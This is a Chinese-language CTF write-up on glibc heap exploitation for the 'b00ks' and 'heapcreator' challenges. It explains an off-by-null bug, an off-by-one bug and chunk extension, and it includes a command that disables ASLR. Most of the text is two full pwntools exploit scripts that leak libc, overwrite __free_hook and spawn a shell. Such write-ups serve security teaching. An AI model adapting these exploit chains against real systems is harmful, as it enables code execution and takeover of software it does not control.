b00ks

题目地址:b00ks

知识点

ASLR

关闭ASLR保护

1
echo 0 > /proc/sys/kernel/randomize_va_space

brk与mmap

堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。
我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。

hook函数

在2.34及以上的版本中删除了malloc_hook、freehook等钩子函数,虽然在libc中我们仍然能够查询到标签,但是实际上已经不参与调用了,这就导致之前的对于堆的许多攻击手法都基本失效了。

分析

逆向

逆向出关键结构体

1
2
3
4
5
v2[6] = 0;                        // size
*(description + v1) = v2; // struct pointer
*(v2 + 2) = v4; // description pointer
*(v2 + 1) = ptr; // name pointer
*v2 = ++id; // id

漏洞

循环设置错误,最后多输入一个字节,存在off-by-null

1
2
3
4
5
6
7
8
9
10
11
for ( i = 0; ; ++i )
{
if ( read(0, name, 1uLL) != 1 )
return 1LL;
if ( *name == '\n' )
break;
++name;
if ( i == size )
break;
}
*name = 0;

利用

off-by-null覆盖struct1的指针最后一字节为\x00,提前在该地址布置fake_struct,并伪造fake_structname pointerdescription pointerstruct2name pointerdescription pointer的地址,计算libcbase偏移,劫持struct2description pointerfree_hook,one_gadget拿shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./b00ks')
libc=ELF('/home/tr0upe/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')

#cmd='b *$rebase(0x1188)\n'
#cmd='b *$rebase(0xCA6)\n'
#cmd+='b *$rebase(0xCA3)'
#gdb.attach(p,cmd)
#pause()

def creat(size,name,size1,description):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'Enter book name size:',size)
p.sendlineafter(b'Enter book name (Max 32 chars):',name)
p.sendlineafter(b'Enter book description size:',size1)
p.sendlineafter(b'Enter book description:',description)

def delete(index):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'Enter the book id you want to delete:',index)

def edit(index,content):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'Enter the book id you want to edit: ',index)
p.sendlineafter(b'Enter new book description: ',content)

def printf():
p.sendlineafter(b'> ',b'4')

def author(author_name):
p.sendlineafter(b'> ',b'5')
p.sendlineafter(b'Enter author name: ',author_name)

author1=b'a'*32
p.sendlineafter(b'Enter author name:',author1)

creat(b'32','bbbbb',b'256','ccccc')
creat(b'135168','ddddd',b'135168','a')

printf()
p.recvuntil('a'*32)
struct1=u64(p.recv(6).ljust(8,b'\x00'))
print('struct1 => '+hex(struct1))
struct2=struct1+0x30
print('struct2 => '+hex(struct2))
name2_addr=struct2+0x8
print('name2_addr => '+hex(name2_addr))
des2_addr=struct2+0x10
print('des2_addr => '+hex(des2_addr))

fake_struct=b'c'*0xb0+p64(1)+p64(name2_addr)+p64(des2_addr)+p64(0xffff)
edit(b'1',fake_struct)
author(b'a'*32)
printf()

p.recvuntil(b'Name: ')
name2_ptr=u64(p.recv(6).ljust(8,b'\x00'))
print('name2_ptr => '+hex(name2_ptr))
p.recvuntil(b'Description: ')
des2_ptr=u64(p.recv(6).ljust(8,b'\x00'))
print('des2_ptr => '+hex(des2_ptr))

libcbase=name2_ptr-0x5c7010
print(hex(libcbase))
free_hook=libcbase+libc.symbols['__free_hook']
exe=libcbase+libc.symbols['system']
one_gadget=0x4525a+libcbase

edit(b'1',p64(free_hook))
edit(b'2',p64(one_gadget))

delete(b'2')
p.recv()
p.interactive()

chunk_extend

基本示例 1:对 inuse 的 fastbin 进行 extend

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(void)
{
void *ptr,*ptr1;

ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk

*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域

free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}

heapcreator

题目地址:heapcreator

知识点

prev_size:如果前一个区块是空闲的,则此字段包含前一个块的大小。否则,如果分配了前一个区块,则此字段包含前一个块的用户数据。

分析

1
2
 *(v0 + 8) = malloc(size);                 // struct content
**(&heaparray + i) = size; // struct size

漏洞

edit函数可以输入的size大1,存在off_by_one

1
read_input(*(*(&heaparray + v1) + 1), **(&heaparray + v1) + 1LL);

利用

修改size域,进行extend,就可以进行任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context(log_level='debug',arch='amd64')

p=process('./heapcreator')
libc=ELF('/home/tr0upe/tools/glibc-all-in-one/libs/2.23-0ubuntu10_amd64/libc.so.6')
'''
cmd='b *0x400A39\n'
cmd+='b *0x400B2B\n'
cmd+='b *0x400CFB\n'
gdb.attach(p,cmd)
pause()
'''
def creat(size,content):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap : ',size)
p.sendafter(b'Content of heap:',content)

def edit(index,new_content):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',index)
p.sendafter(b'Content of heap : ',new_content)

def dele(index1):
p.sendlineafter(b'Your choice :',b'4')
p.sendlineafter(b'Index :',index1)

def show(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',index)


libc_start_main_got=0x602048

creat(b'24',b'a'*24)
creat(b'16',b'b'*16)
edit(b'0',b'b'*24+p8(0x41))
dele(b'1')
creat(b'48',b'd'*40+p64(libc_start_main_got))

show(b'1')
p.recvuntil(b'Content : ')
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x20740
print('libcbase => '+hex(libcbase))

free_hook=libcbase+libc.symbols['__free_hook']
exe=libcbase+0x4526a
print('free_hook => '+hex(free_hook))
print('exe => '+hex(exe))

creat(b'24',b'a'*24)
creat(b'16',b'b'*16)
'''
cmd='b *0x400A39\n'
cmd+='b *0x400B2B\n'
cmd+='b *0x400CFB\n'
gdb.attach(p,cmd)
pause()
'''
edit(b'2',b'b'*24+p8(0x41))
dele(b'3')
creat(b'48',b'd'*32+p64(0x30)+p64(free_hook))
edit(b'3',p64(exe))
dele(b'2')

p.interactive()